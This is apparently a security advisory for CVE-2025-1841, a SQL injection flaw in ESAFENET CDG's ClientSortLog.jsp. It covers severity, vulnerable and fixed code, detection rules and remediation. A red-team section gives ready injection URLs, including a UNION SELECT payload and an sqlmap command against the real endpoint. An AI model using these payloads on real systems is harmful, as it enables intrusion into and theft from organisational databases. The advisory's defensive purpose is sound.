CVE-2025-1841

Executive Summary

CVE-2025-1841 is a critical SQL injection vulnerability discovered in ESAFENET CDG version 5.6.3.154.205. The flaw resides in the /CDGServer3/logManagement/ClientSortLog.jsp file, where the startDate and endDate parameters are not properly sanitized before being used in SQL queries. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone Java-based web application (ESAFENET CDG) deployed on a server. The risk is limited to the direct exploitation of the application itself, with no supply chain component.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivial to exploit remotely without authentication, making it a prime target for automated scanning and exploitation. The potential for full database compromise justifies the critical severity rating.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ClientSortLog.jsp page. The application likely constructs a SQL query by concatenating user-supplied startDate and endDate parameters directly into the query string without proper validation or parameterization.

Example vulnerable code snippet (conceptual):

String query = "SELECT * FROM logs WHERE date >= '" + request.getParameter("startDate") + "' AND date <= '" + request.getParameter("endDate") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended string context and execute arbitrary SQL commands. For example, providing startDate=2025-01-01' OR '1'='1 would result in:

SELECT * FROM logs WHERE date >= '2025-01-01' OR '1'='1' AND date <= '...'

This would return all rows in the table, bypassing the intended date filter.

The vulnerability is in the /CDGServer3/logManagement/ClientSortLog.jsp endpoint, which is part of the ESAFENET CDG (Content Data Governance) application. The application is used for data loss prevention and content management, making the database a high-value target containing sensitive organizational data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String startDate = request.getParameter("startDate");
String endDate = request.getParameter("endDate");
String sql = "SELECT * FROM logs WHERE date >= '" + startDate + "' AND date <= '" + endDate + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Conceptual):

String startDate = request.getParameter("startDate");
String endDate = request.getParameter("endDate");
String sql = "SELECT * FROM logs WHERE date >= ? AND date <= ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, startDate);
pstmt.setString(2, endDate);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries (PreparedStatement) which ensure that user input is treated as data, not executable code. This completely eliminates the SQL injection vector.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ESAFENET CDG 5.6.3.154.205
• Network access to the /CDGServer3/logManagement/ClientSortLog.jsp endpoint

Manual Exploitation:

1. Identify the vulnerable endpoint:

   http://target.com/CDGServer3/logManagement/ClientSortLog.jsp
   

2. Test for SQL injection:

   http://target.com/CDGServer3/logManagement/ClientSortLog.jsp?startDate=2025-01-01'&endDate=2025-12-31
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract database information: Use UNION-based injection to retrieve data. Example:

   http://target.com/CDGServer3/logManagement/ClientSortLog.jsp?startDate=2025-01-01' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -&endDate=2025-12-31
   

   Adjust the number of columns based on the original query.

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/CDGServer3/logManagement/ClientSortLog.jsp?startDate=2025-01-01&endDate=2025-12-31" --batch --dbs
   

Exploit-DB Code: None available.

Blue Team

Detection:

• Monitor web server logs for requests to /CDGServer3/logManagement/ClientSortLog.jsp containing SQL metacharacters (e.g., ', --, UNION, SELECT).
• Look for unusual patterns in the startDate and endDate parameters, such as long strings or non-date characters.
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Hunting:

• Search for outbound database connections from the web server to unknown IPs.
• Check for unexpected database queries or large data transfers.
• Review database logs for suspicious queries originating from the application user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /CDGServer3/logManagement/ClientSortLog.jsp with SQL injection payloads in startDate or endDate parameters.
  • Outbound connections from the database server to external IPs (data exfiltration).
• File IOCs:
  • Modified or newly created files in the web application directory (e.g., webshells).
  • Unusual entries in web server access logs.
• Database IOCs:
  • Unexpected SQL queries in database logs.
  • New user accounts or privileges created in the database.
  • Large data exports or unusual query patterns.

Detection Engineering

YARA Rule

rule CVE_2025_1841_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1841 in ESAFENET CDG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1841"
    strings:
        $sqli1 = /startDate=.*['\"]/ nocase
        $sqli2 = /endDate=.*['\"]/ nocase
        $sqli3 = /UNION.*SELECT/ nocase
        $sqli4 = /OR.*1=1/ nocase
        $sqli5 = /--/ nocase
    condition:
        any of ($sqli*) and
        (uri contains "/CDGServer3/logManagement/ClientSortLog.jsp")
}

Sigma Rule

title: CVE-2025-1841 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG ClientSortLog.jsp
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1841
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "/CDGServer3/logManagement/ClientSortLog.jsp"
        cs-uri-query|contains|all:
            - "startDate="
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in date parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1841 SQL Injection Attempt"; flow:to_server,established; content:"/CDGServer3/logManagement/ClientSortLog.jsp"; http_uri; pcre:"/(startDate|endDate)=.*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: If possible, disconnect the ESAFENET CDG server from the network until a patch is applied.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the startDate and endDate parameters.
3. Restrict network access: Limit access to the /CDGServer3/logManagement/ClientSortLog.jsp endpoint to trusted IPs only.

Long-term Fix:

• Upgrade to a patched version: Contact ESAFENET for an official patch or upgrade to a newer version of CDG that fixes the SQL injection.
• Code review: If source code is available, implement parameterized queries (PreparedStatement) for all database interactions.
• Input validation: Implement strict input validation for date parameters, allowing only expected date formats (e.g., YYYY-MM-DD).

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for exploitation attempts.
• Scan the server for webshells or backdoors.
• Rotate all database credentials and review user privileges.

Valters IT